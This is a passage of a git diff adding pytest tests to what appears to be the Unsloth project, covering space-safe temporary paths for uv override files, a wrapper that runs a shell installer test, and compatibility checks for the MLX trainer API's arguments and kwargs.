+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_posix_missing_file_falls_back_to_original(self):
+        """No file to copy -> return the original path rather than raise."""
+        p = "/nonexistent dir/constraints.txt"
+        assert ips._uv_safe_path(p) == p
+
+
+class TestUvSafePathHardening:
+    """Edge cases for uv_safe_path + the UV_OVERRIDE channel (issue #6503)."""
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_tmpdir_with_space_falls_back(self, tmp_path, monkeypatch):
+        """A space in the temp root itself -> fall back to the original path."""
+        from backend.utils import uv_path_safety as uvps
+
+        spaced = tmp_path / "tmp dir with space"
+        spaced.mkdir()
+        monkeypatch.setattr(uvps.tempfile, "mkdtemp", lambda *a, **k: str(spaced))
+        src = tmp_path / "Open Source" / "constraints.txt"
+        src.parent.mkdir(parents = True)
+        src.write_text("idna\n")
+        assert uvps.uv_safe_path(str(src)) == str(src)
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_no_temp_dir_leak_on_copy_failure(self, tmp_path, monkeypatch):
+        """A copyfile failure after mkdtemp must not orphan the temp dir."""
+        from backend.utils import uv_path_safety as uvps
+
+        src = tmp_path / "Open Source" / "constraints.txt"
+        src.parent.mkdir(parents = True)
+        src.write_text("idna\n")
+        pattern = os.path.join(tempfile.gettempdir(), "unsloth_uv_*")
+        before = set(glob.glob(pattern))
+
+        def boom(*a, **k):
+            raise OSError("boom")
+
+        monkeypatch.setattr(uvps.shutil, "copyfile", boom)
+        out = uvps.uv_safe_path(str(src))
+
+        assert out == str(src)
+        assert set(glob.glob(pattern)) == before
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_cleanup_removes_and_clears_registry(self, tmp_path):
+        """The atexit-registered cleanup removes the copies and empties the list."""
+        from backend.utils import uv_path_safety as uvps
+
+        src = tmp_path / "Open Source" / "constraints.txt"
+        src.parent.mkdir(parents = True)
+        src.write_text("idna\n")
+        out = uvps.uv_safe_path(str(src))
+        tmp_dir = Path(out).parent
+        assert tmp_dir.is_dir() and str(tmp_dir) in uvps._UV_SAFE_PATH_TMPDIRS
+
+        uvps._cleanup_uv_safe_path_tmpdirs()
+
+        assert not tmp_dir.exists()
+        assert uvps._UV_SAFE_PATH_TMPDIRS == []
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_uv_override_value_is_space_safe(self, tmp_path):
+        """The value stored for UV_OVERRIDE must be space-free."""
+        from backend.utils import uv_path_safety as uvps
+
+        overrides = tmp_path / "Open Source" / "overrides-darwin-arm64.txt"
+        overrides.parent.mkdir(parents = True)
+        overrides.write_text("transformers>=4.57.6\n")
+
+        value = uvps.uv_safe_path(overrides)
+
+        assert " " not in value
+        assert Path(value).read_text() == "transformers>=4.57.6\n"
diff --git a/tests/python/test_install_uv_override_space.py b/tests/python/test_install_uv_override_space.py
new file mode 100644
index 0000000000..86d918b043
--- /dev/null
+++ b/tests/python/test_install_uv_override_space.py
@@ -0,0 +1,31 @@
+"""Run the install.sh UV_OVERRIDE space-safety shell test (issue #6503) under
+pytest, so the auto-discovered CPU test job executes it. The dedicated
+`Shell installer tests` CI job runs a fixed script list that this is not part
+of, so without this wrapper the regression would only be covered locally via
+tests/run_all.sh.
+"""
+
+from __future__ import annotations
+
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parents[2]
+SHELL_TEST = REPO_ROOT / "tests" / "sh" / "test_install_uv_override_space.sh"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX shell installer test")
+@pytest.mark.skipif(shutil.which("bash") is None, reason = "bash not available")
+def test_install_uv_override_space_shell():
+    assert SHELL_TEST.is_file(), f"missing shell test: {SHELL_TEST}"
+    proc = subprocess.run(
+        ["bash", str(SHELL_TEST)],
+        capture_output = True,
+        text = True,
+    )
+    assert proc.returncode == 0, proc.stdout + proc.stderr
+    assert "ALL PASSED" in proc.stdout, proc.stdout + proc.stderr
diff --git a/tests/python/test_mlx_public_trainer_api.py b/tests/python/test_mlx_public_trainer_api.py
new file mode 100644
index 0000000000..2c33f86af1
--- /dev/null
+++ b/tests/python/test_mlx_public_trainer_api.py
@@ -0,0 +1,1206 @@
+"""Tests for the MLX public trainer compatibility surface."""
+
+from __future__ import annotations
+
+import builtins
+import importlib
+import importlib.util
+import platform
+import sys
+import types
+import warnings
+
+import pytest
+
+_MLX_SKIP_REASON = "MLX public trainer API is only active on the MLX backend"
+
+
+def _import_mlx_unsloth():
+    """Import unsloth and skip when the current platform is not using MLX."""
+    # Skip before importing unsloth so non-MLX hosts missing optional GPU deps
+    # (e.g. bitsandbytes) skip cleanly instead of erroring at collection.
+    if not (
+        platform.system() == "Darwin"
+        and platform.machine() == "arm64"
+        and importlib.util.find_spec("mlx") is not None
+    ):
+        pytest.skip(_MLX_SKIP_REASON)
+    unsloth = importlib.import_module("unsloth")
+    if getattr(unsloth, "DEVICE_TYPE", None) != "mlx":
+        pytest.skip(_MLX_SKIP_REASON)
+    return unsloth
+
+
+class _DummyModel:
+    """Small model stub that satisfies MLXTrainer constructor probes."""
+
+    def trainable_parameters(self):
+        """Return no trainable parameters for constructor-only tests."""
+        return {}
+
+
+class _DummyVLMModel(_DummyModel):
+    """Small VLM model stub for MLX vision trainer constructor probes."""
+
+    _is_vlm_model = True
+
+
+def test_mlx_exports_unsloth_trainer_api():
+    """MLX imports should expose the public Unsloth trainer API."""
+    unsloth = _import_mlx_unsloth()
+    from unsloth import (
+        RawTextDataLoader,
+        TextPreprocessor,
+        UnslothTrainer,
+        UnslothTrainingArguments,
+        clear_gpu_memory,
+        get_gpu_memory_stats,
+    )
+
+    assert RawTextDataLoader is unsloth.RawTextDataLoader
+    assert TextPreprocessor is unsloth.TextPreprocessor
+    assert UnslothTrainer is unsloth.UnslothTrainer
+    assert UnslothTrainingArguments is unsloth.UnslothTrainingArguments
+    assert get_gpu_memory_stats is unsloth.get_gpu_memory_stats
+    assert clear_gpu_memory is unsloth.clear_gpu_memory
+    assert issubclass(UnslothTrainer, unsloth.MLXTrainer)
+    assert issubclass(UnslothTrainingArguments, unsloth.MLXTrainingConfig)
+    assert importlib.util.find_spec("unsloth.memory") is None
+
+
+def test_non_mlx_exports_public_trainer_api_when_available():
+    """GPU/ROCm imports should keep exporting the public Unsloth trainer API."""
+    try:
+        unsloth = importlib.import_module("unsloth")
+    except ImportError as exc:
+        # Non-MLX import pulls the optional GPU stack (numpy/torch/unsloth-zoo,
+        # bitsandbytes/triton, and _gpu_init can re-raise missing deps as
+        # ImportError). Skip when any of it is unavailable rather than failing
+        # collection on CPU/ROCm/XPU review hosts.
+        pytest.skip(f"non-MLX import dependency unavailable: {exc}")
+    if getattr(unsloth, "DEVICE_TYPE", None) == "mlx":
+        pytest.skip("non-MLX export smoke test only runs on GPU/ROCm backends")
+
+    assert unsloth.UnslothTrainer is not None
+    assert unsloth.UnslothTrainingArguments is not None
+    assert callable(unsloth.get_gpu_memory_stats)
+    assert callable(unsloth.clear_gpu_memory)
+    assert importlib.util.find_spec("unsloth.memory") is None
+
+
+def test_mlx_training_arguments_accept_trl_style_kwargs():
+    """TRL/SFTConfig-style kwargs should normalize without breaking MLX config."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(RuntimeWarning, match = "bf16.*dataset_kwargs"):
+        args = unsloth.UnslothTrainingArguments(
+            max_length = 123,
+            max_steps = 10,
+            warmup_ratio = 0.2,
+            remove_unused_columns = False,
+            dataset_kwargs = {"skip_prepare_dataset": True},
+            bf16 = True,
+        )
+
+    assert args.max_seq_length == 123
+    assert args.warmup_steps == 2
+    assert args.remove_unused_columns is False
+    assert args.dataset_kwargs == {"skip_prepare_dataset": True}
+    assert args.bf16 is True
+    assert args.warmup_ratio == 0.2
+    assert args._unsloth_mlx_max_seq_length_explicit is False
+    assert args._unsloth_mlx_warmup_steps_explicit is False
+
+
+def test_mlx_training_arguments_do_not_warn_for_implemented_or_falsey_extras():
+    """Implemented and falsey inert compatibility kwargs should stay quiet."""
+    unsloth = _import_mlx_unsloth()
+
+    with warnings.catch_warnings(record = True) as caught:
+        warnings.simplefilter("always")
+        args = unsloth.UnslothTrainingArguments(
+            warmup_ratio = 0.2,
+            max_steps = 10,
+            padding_free = False,
+            remove_unused_columns = False,
+            assistant_only_loss = False,
+            completion_only_loss = False,
+        )
+
+    assert args.warmup_steps == 2
+    assert args.padding_free is False
+    assert args.remove_unused_columns is False
+    assert args.completion_only_loss is False
+    assert caught == []
+
+
+def test_mlx_training_arguments_prefer_canonical_max_seq_length():
+    """Canonical MLX config fields should win over compatibility aliases."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(max_seq_length = 456, max_length = 123)
+    dict_args = unsloth.UnslothTrainingArguments(
+        {"max_length": 123, "max_seq_length": 456},
+    )
+
+    assert args.max_seq_length == 456
+    assert args.max_length == 456
+    assert args._unsloth_mlx_max_length_value == 456
+    assert dict_args.max_seq_length == 456
+    assert dict_args.max_length == 456
+    assert dict_args._unsloth_mlx_max_length_value == 456
+    assert args._unsloth_mlx_max_seq_length_explicit is True
+    assert dict_args._unsloth_mlx_max_seq_length_explicit is True
+
+
+def test_mlx_training_arguments_preserve_explicit_positive_warmup_steps():
+    """Explicit warmup_steps should take precedence over warmup_ratio."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(
+        max_steps = 10,
+        warmup_steps = 5,
+        warmup_ratio = 0.1,
+    )
+
+    assert args.warmup_steps == 5
+    assert args._unsloth_mlx_warmup_steps_explicit is True
+
+
+def test_mlx_clear_gpu_memory_uses_metal_fallback(monkeypatch):
+    """Older MLX releases expose cache clearing under mx.metal.clear_cache."""
+    unsloth = _import_mlx_unsloth()
+    import mlx.core as mx
+
+    called = []
+    metal = getattr(mx, "metal", None) or type("Metal", (), {})()
+    monkeypatch.delattr(mx, "clear_cache", raising = False)
+    monkeypatch.setattr(mx, "metal", metal, raising = False)
+    monkeypatch.setattr(metal, "clear_cache", lambda: called.append("metal"), raising = False)
+
+    unsloth.clear_gpu_memory()
+
+    assert called == ["metal"]
+
+
+def test_mlx_training_arguments_preserve_explicit_epoch_training():
+    """Epoch-based configs should not inherit the MLX max_steps default."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(num_train_epochs = 1, warmup_ratio = 0.1)
+    default_args = unsloth.UnslothTrainingArguments()
+
+    assert args.num_train_epochs == 1
+    assert args.max_steps == -1
+    assert args.warmup_ratio == 0.1
+    assert args._unsloth_mlx_warmup_steps_explicit is False
+    assert default_args.max_steps == unsloth.MLXTrainingConfig.max_steps
+
+
+def test_mlx_training_arguments_keep_mlx_dataset_order_default():
+    """Training arguments alone should not override MLX's native data order."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(max_steps = 1)
+    explicit_default = unsloth.UnslothTrainingArguments(
+        max_steps = 1,
+        dataset_order = "default",
+    )
+
+    assert args.dataset_order == "default"
+    assert args._unsloth_mlx_dataset_order_explicit is False
+    assert args._unsloth_mlx_max_seq_length_explicit is False
+    assert explicit_default.dataset_order == "default"
+    assert explicit_default._unsloth_mlx_dataset_order_explicit is True
+
+
+def test_mlx_training_arguments_warn_on_meaningful_inert_kwargs():
+    """Unsupported TrainingArguments knobs should not be silently ignored."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(RuntimeWarning, match = "push_to_hub.*save_strategy"):
+        args = unsloth.UnslothTrainingArguments(
+            save_strategy = "steps",
+            push_to_hub = True,
+            padding_free = False,
+        )
+
+    assert args.save_strategy == "steps"
+    assert args.push_to_hub is True
+    assert args.padding_free is False
+
+
+def test_mlx_training_arguments_reject_unknown_kwargs():
+    """Unknown SFTConfig flags should fail instead of becoming inert attributes."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "assistant_only_loss"):
+        unsloth.UnslothTrainingArguments(assistant_only_loss = True)
+
+    completion_args = unsloth.UnslothTrainingArguments(completion_only_loss = True)
+    assert completion_args.completion_only_loss is True
+
+
+def test_mlx_training_arguments_reject_unsupported_object_flags():
+    """Object-style SFTConfig flags should not be silently dropped."""
+    unsloth = _import_mlx_unsloth()
+
+    class ArgsObject:
+        max_steps = 1
+        assistant_only_loss = True
+
+    with pytest.raises(NotImplementedError, match = "assistant_only_loss"):
+        unsloth._coerce_mlx_training_args(ArgsObject())
+
+    class CompletionArgsObject:
+        max_steps = 1
+        completion_only_loss = True
+
+    completion_args = unsloth._coerce_mlx_training_args(CompletionArgsObject())
+    assert completion_args.completion_only_loss is True
+
+
+def test_mlx_training_arguments_accept_output_dir_positional():
+    """A single positional output_dir should match TrainingArguments behavior."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments("custom-outputs", max_steps = 3)
+
+    assert args.output_dir == "custom-outputs"
+    assert args.max_steps == 3
+
+
+def test_mlx_training_arguments_normalize_optim_and_object_aliases():
+    """Common notebook optimizer names and object aliases should normalize."""
+    unsloth = _import_mlx_unsloth()
+
+    class Scheduler:
+        value = "cosine"
+
+    class ArgsObject:
+        optim = "adamw_8bit"
+        eval_steps = None
+        lr_scheduler_type = Scheduler()
+        max_length = 321
+        max_steps = 10
+        num_train_epochs = 3.0
+        save_steps = 500
+        save_strategy = "no"
+        warmup_ratio = 0.1
+        warmup_steps = 0
+
+    with pytest.warns(RuntimeWarning, match = "save_strategy"):
+        args = unsloth._coerce_mlx_training_args(ArgsObject())
+
+    assert args.optim == "adamw"
+    assert args.eval_steps == 0
+    assert args.lr_scheduler_type == "cosine"
+    assert args.max_seq_length == 321
+    assert args.num_train_epochs == 3
+    assert type(args.num_train_epochs) is int
+    assert args.save_steps == 0
+    assert args.warmup_steps == 1
+    assert args._unsloth_mlx_warmup_steps_explicit is False
+
+
+def test_mlx_training_arguments_accept_supported_notebook_kwargs():
+    """Supported SFT notebooks should be able to pass their current args."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(
+        RuntimeWarning,
+        match = "bf16.*dataset_kwargs.*gradient_checkpointing_kwargs.*save_strategy",
+    ):
+        args = unsloth.UnslothTrainingArguments(
+            bf16 = True,
+            dataset_kwargs = {"skip_prepare_dataset": True},
+            dataset_num_proc = 4,
+            dataset_text_field = "text",
+            embedding_learning_rate = 5e-5,
+            fp16 = False,
+            gradient_accumulation_steps = 8,
+            gradient_checkpointing = True,
+            gradient_checkpointing_kwargs = {"use_reentrant": False},
+            learning_rate = 1e-4,
+            logging_steps = 2,
+            lr_scheduler_type = "cosine",
+            max_grad_norm = 0.3,
+            max_length = 1024,
+            max_steps = 10,
+            num_train_epochs = 1,
+            optim = "paged_adamw_8bit",
+            output_dir = "outputs",
+            padding_free = False,
+            per_device_train_batch_size = 1,
+            remove_unused_columns = False,
+            report_to = "none",
+            save_strategy = "steps",
+            seed = 123,
+            warmup_ratio = 0.1,
+            weight_decay = 0.01,
+        )
+
+    assert args.dataset_num_proc == 4
+    assert args.dataset_text_field == "text"
+    assert args.embedding_learning_rate == 5e-5
+    assert args.gradient_accumulation_steps == 8
+    assert args.gradient_checkpointing is True
+    assert args.learning_rate == 1e-4
+    assert args.logging_steps == 2
+    assert args.lr_scheduler_type == "cosine"
+    assert args.max_grad_norm == 0.3
+    assert args.max_seq_length == 1024
+    assert args.max_steps == 10
+    assert args.num_train_epochs == 1
+    assert args.optim == "adamw"
+    assert args.output_dir == "outputs"
+    assert args.per_device_train_batch_size == 1
+    assert args.report_to == "none"
+    assert args.seed == 123
+    assert args.warmup_ratio == 0.1
+    assert args.warmup_steps == 1
+    assert args.weight_decay == 0.01
+    assert args.dataset_kwargs == {"skip_prepare_dataset": True}
+    assert args.gradient_checkpointing_kwargs == {"use_reentrant": False}
+    assert args.save_strategy == "steps"
+
+
+def test_mlx_training_arguments_honor_direct_no_save_strategy():
+    """Direct kwargs should map save_strategy=no to save_steps=0."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(RuntimeWarning, match = "save_strategy"):
+        args = unsloth.UnslothTrainingArguments(
+            save_strategy = "no",
+            save_steps = 500,
+        )
+
+    assert args.save_steps == 0
+
+
+def test_mlx_trainer_accepts_common_sft_kwargs():
+    """UnslothTrainer should accept common SFTTrainer kwargs on MLX."""
+    unsloth = _import_mlx_unsloth()
+
+    with warnings.catch_warnings(record = True) as caught:
+        warnings.simplefilter("always")
+        trainer = unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            args = {"max_steps": 1},
+            dataset_num_proc = 8,
+            max_length = 456,
+            optim = "adamw_bnb_8bit",
+            processing_class = object(),
+        )
+
+    assert trainer.args.max_steps == 1
+    assert trainer.args.dataset_num_proc == 8
+    assert trainer.args.max_seq_length == 456
+    assert trainer.args.max_grad_norm == 1.0
+    assert trainer.args.optim == "adamw"
+    assert trainer.args.dataset_order == "torch_randperm"
+    assert trainer._unsloth_mlx_ignored_trainer_kwargs == {}
+    assert caught == []
+
+
+def test_mlx_trainer_preserves_explicit_dataset_order():
+    """UnslothTrainer should only set torch_randperm when order is implicit."""
+    unsloth = _import_mlx_unsloth()
+
+    explicit_default = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            dataset_order = "default",
+        ),
+    )
+    explicit_sequential = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            dataset_order = "sequential",
+        ),
+    )
+    implicit_with_override = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+        dataset_num_proc = 4,
+    )
+    implicit_streaming = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, streaming = True),
+    )
+    explicit_no_clip = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            max_grad_norm = 0.0,
+        ),
+    )
+
+    assert explicit_default.args.dataset_order == "default"
+    assert explicit_sequential.args.dataset_order == "sequential"
+    assert implicit_with_override.args.dataset_order == "torch_randperm"
+    assert implicit_streaming.args.dataset_order == "default"
+    assert implicit_with_override.args.max_grad_norm == 1.0
+    assert explicit_no_clip.args.max_grad_norm == 0.0
+
+
+def test_mlx_trainer_uses_model_context_length_when_implicit():
+    """UnslothTrainer should mirror CUDA's max_length bridge precedence."""
+    unsloth = _import_mlx_unsloth()
+    model = _DummyModel()
+    model.max_seq_length = 321
+    max_length_model = _DummyModel()
+    max_length_model.max_seq_length = 321
+    none_model = _DummyModel()
+    none_model.max_seq_length = 321
+    explicit_seq_model = _DummyModel()
+    explicit_seq_model.max_seq_length = 321
+    clamped_seq_model = _DummyModel()
+    clamped_seq_model.max_seq_length = 321
+    model_max_length = _DummyModel()
+    model_max_length.max_length = 777
+    metadata_model = _DummyModel()
+    metadata_model.config = type("Config", (), {"max_position_embeddings": 888})()
+    metadata_tokenizer = type("Tokenizer", (), {"model_max_length": 999})()
+    explicit_max_length_no_model = _DummyModel()
+    trainer_override_model = _DummyModel()
+    trainer_override_model.max_seq_length = 321
+    config_override_model = _DummyModel()
+    config_override_model.max_seq_length = 432
+
+    implicit = unsloth.UnslothTrainer(
+        model = model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+    )
+    max_length_args = unsloth.UnslothTrainer(
+        model = max_length_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_length = 123),
+    )
+    none_args = unsloth.UnslothTrainer(
+        model = none_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = None),
+    )
+    explicit_seq = unsloth.UnslothTrainer(
+        model = explicit_seq_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = 123),
+    )
+    clamped_seq = unsloth.UnslothTrainer(
+        model = clamped_seq_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = 654),
+    )
+    model_max_length_only = unsloth.UnslothTrainer(
+        model = model_max_length,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+    )
+    metadata_ignored = unsloth.UnslothTrainer(
+        model = metadata_model,
+        tokenizer = metadata_tokenizer,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+    )
+    explicit_max_length = unsloth.UnslothTrainer(
+        model = explicit_max_length_no_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_length = 123),
+    )
+    trainer_override = unsloth.UnslothTrainer(
+        model = trainer_override_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+        max_seq_length = 654,
+    )
+    config_with_override = unsloth.UnslothTrainer(
+        model = config_override_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.MLXTrainingConfig(max_steps = 1),
+        dataset_num_proc = 4,
+    )
+
+    assert implicit.args.max_seq_length == 321
+    assert implicit.args.max_length == 321
+    assert max_length_args.args.max_seq_length == 321
+    assert max_length_args.args.max_length == 321
+    assert none_args.args.max_seq_length == 321
+    assert none_args.args.max_length == 321
+    assert explicit_seq.args.max_seq_length == 123
+    assert explicit_seq.args.max_length == 123
+    assert clamped_seq.args.max_seq_length == 321
+    assert clamped_seq.args.max_length == 321
+    assert model_max_length_only.args.max_seq_length == 777
+    assert model_max_length_only.args.max_length == 777
+    assert metadata_ignored.args.max_seq_length == 1024
+    assert metadata_ignored.args.max_length == 1024
+    assert explicit_max_length.args.max_seq_length == 123
+    assert explicit_max_length.args.max_length == 123
+    assert trainer_override.args.max_seq_length == 654
+    assert trainer_override.args.max_length == 654
+    assert config_with_override.args.max_seq_length == 432
+    assert config_with_override.args.max_length == 432
+
+
+def test_mlx_trainer_processing_class_overrides_explicit_none_tokenizer():
+    """TRL passes tokenizer=None while processing_class carries the tokenizer."""
+    unsloth = _import_mlx_unsloth()
+    tokenizer = object()
+
+    class Processor:
+        pass
+
+    processor = Processor()
+    processor.tokenizer = tokenizer
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        processing_class = processor,
+    )
+
+    assert trainer.processor is processor
+    assert trainer.tokenizer is tokenizer
+
+
+def test_mlx_trainer_vision_collator_processor_overrides_processing_class():
+    """Vision notebooks pass the tokenizer as processing_class and processor in collator."""
+    unsloth = _import_mlx_unsloth()
+    tokenizer = object()
+
+    class Processor:
+        pass
+
+    processor = Processor()
+    processor.tokenizer = tokenizer
+    collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), processor)
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        processing_class = tokenizer,
+        data_collator = collator,
+    )
+
+    assert trainer.processor is processor
+    assert trainer.tokenizer is tokenizer
+
+
+def test_mlx_trainer_preserves_explicit_processor_over_vision_collator():
+    """Explicit processor kwargs should stay authoritative over collator metadata."""
+    unsloth = _import_mlx_unsloth()
+    tokenizer = object()
+    explicit_processor = object()
+
+    class Processor:
+        pass
+
+    collator_processor = Processor()
+    collator_processor.tokenizer = tokenizer
+    collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), collator_processor)
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        processor = explicit_processor,
+        processing_class = tokenizer,
+        data_collator = collator,
+    )
+
+    assert trainer.processor is explicit_processor
+    assert trainer.tokenizer is tokenizer
+
+
+def test_mlx_trainer_forwards_vision_collator_positional_defaults():
+    """Vision collator CUDA-style positionals should route into MLX args."""
+    unsloth = _import_mlx_unsloth()
+    collator = unsloth.UnslothVisionDataCollator(
+        _DummyVLMModel(),
+        object(),
+        2048,
+        None,
+        "max",
+        -100,
+        False,
+        None,
+        None,
+        True,
+        None,
+        False,
+    )
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        data_collator = collator,
+    )
+
+    assert trainer.args.max_seq_length == 2048
+    assert trainer.args.image_size == "max"
+    assert trainer.args.completion_only_loss is False
+
+
+def test_mlx_vision_collator_default_does_not_override_explicit_args():
+    """Implicit collator defaults should not override explicit trainer args."""
+    unsloth = _import_mlx_unsloth()
+    collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), object())
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            completion_only_loss = False,
+        ),
+        data_collator = collator,
+    )
+
+    assert trainer.args.completion_only_loss is False
+
+
+def test_mlx_trainer_rejects_unsafe_unsupported_sft_kwargs():
+    """Unsupported kwargs that change training semantics should fail on MLX."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "peft_config"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            peft_config = object(),
+        )
+
+
+def test_mlx_trainer_rejects_metrics_and_callbacks():
+    """Trainer hooks should fail because MLXTrainer cannot honor them yet."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "callbacks"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            callbacks = [object()],
+        )
+    with pytest.raises(NotImplementedError, match = "compute_metrics"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            compute_metrics = lambda *_: None,
+        )
+
+
+def test_mlx_trainer_rejects_custom_data_collator():
+    """MLXTrainer owns batching; custom SFT data collators must not be ignored."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "data_collator"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            data_collator = object(),
+        )
+
+
+def test_mlx_trainer_rejects_text_completion_only_loss():
+    """Text MLX training should not silently ignore completion_only_loss=True."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "completion_only_loss=True"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            args = unsloth.UnslothTrainingArguments(
+                max_steps = 1,
+                completion_only_loss = True,
+            ),
+        )
+
+
+def test_mlx_trainer_allows_vlm_completion_only_loss():
+    """VLM MLX training supports completion_only_loss during collation."""
+    unsloth = _import_mlx_unsloth()
+
+    class VLMModel(_DummyModel):
+        _is_vlm_model = True
+
+    trainer = unsloth.UnslothTrainer(
+        model = VLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            completion_only_loss = True,
+        ),
+    )
+
+    assert trainer.args.completion_only_loss is True
+
+
+def test_mlx_trainer_accepts_trl_style_positional_args():
+    """TRL-style positional `(model, args, ...)` should not be read as tokenizer."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments("trl-outputs", max_steps = 2)
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        args,
+        train_dataset = [],
+        tokenizer = None,
+    )
+
+    assert trainer.args is args
+    assert trainer.args.output_dir == "trl-outputs"
+    assert trainer.train_dataset == []
+
+
+def test_mlx_trainer_accepts_trl_none_placeholder_positionals():
+    """Explicit TRL default placeholders should preserve later positional args."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+    processing_class = object()
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        None,
+        dataset,
+        None,
+        processing_class,
+    )
+
+    assert getattr(trainer.train_dataset, "_dataset", trainer.train_dataset) is dataset
+    assert getattr(trainer, "_mlx_train_dataset_for_batches", dataset) is dataset
+    assert trainer.tokenizer is processing_class
+    assert trainer.args.max_steps == 60
+
+
+def test_mlx_trainer_accepts_short_trl_none_placeholder_positionals():
+    """Short TRL placeholder calls should keep the fourth arg as train_dataset."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        None,
+        dataset,
+    )
+
+    assert trainer.train_dataset is dataset
+    assert trainer.eval_dataset is None
+    assert trainer.args.max_steps == 60
+
+
+def test_mlx_trainer_accepts_short_trl_placeholders_with_keyword_dataset():
+    """Short TRL placeholders should not conflict with keyword train_dataset."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        None,
+        train_dataset = dataset,
+    )
+
+    assert trainer.train_dataset is dataset
+    assert trainer.eval_dataset is None
+    assert trainer.args.max_steps == 60
+
+
